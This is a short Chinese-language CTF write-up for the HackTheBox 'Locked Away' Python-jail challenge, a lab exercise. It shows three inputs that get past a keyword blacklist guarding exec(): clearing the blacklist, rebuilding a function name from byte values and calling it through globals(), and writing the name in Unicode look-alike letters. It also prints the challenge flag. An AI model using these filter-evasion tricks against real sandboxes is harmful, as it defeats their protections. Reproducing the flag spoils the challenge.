HackTheBox-Challenges Locked Away Writeup
Exploitaion
耶這題是有趣的 pyjail。
1 | ╰─ cat challenge/main.py ─╯ |
稍微整理了一下題目的主邏輯如上,總之就是有個無限迴圈會把 input 拿去執行 exec 但是要繞黑名單,這邊提供幾種做法:
- 首先第一種是我們可以透過
blacklist.clear()
或是blacklist = ''
先清除黑名單後 callopen_chest()
- 另一種做法是假設他只能輸入一次的話,我們可以嘗試用其他方式呼叫
open_chest()
,例如:我們把它換成 ascii,然後用下面的方式代表 ‘open_chest’:1
2In [5]: list(b'open_chest')
Out[5]: [111, 112, 101, 110, 95, 99, 104, 101, 115, 116]再來我們可以透過1
2In [6]: bytes([111, 112, 101, 110, 95, 99, 104, 101, 115, 116]).decode()
Out[6]: 'open_chest'globals.get()
去呼叫到open_chest
函式:Amazing!1
2The chest lies waiting... globals().get(bytes((111, 112, 101, 110, 95, 99, 104, 101, 115, 116)).decode())()
HTB{bL4cKl1sT?_bUt_tH4t'5_t0o_3asY} - 再來是我們也可以換字型直接繞過,像是:
1
2
3The chest lies waiting... 𝖔𝖕𝖊𝖓_𝖈𝖍𝖊𝖘𝖙()
HTB{bL4cKl1sT?_bUt_tH4t'5_t0o_3asY}
The chest lies waiting...
Pwned !!!
References
- Title: HackTheBox-Challenges Locked Away Writeup
- Author: kazma
- Created at : 2024-11-01 15:38:20
- Updated at : 2024-11-01 16:27:44
- Link: https://kazma.tw/2024/11/01/HackTheBox-Challenges-Locked-Away-Writeup/
- License: This work is licensed under CC BY-NC-SA 4.0.
Comments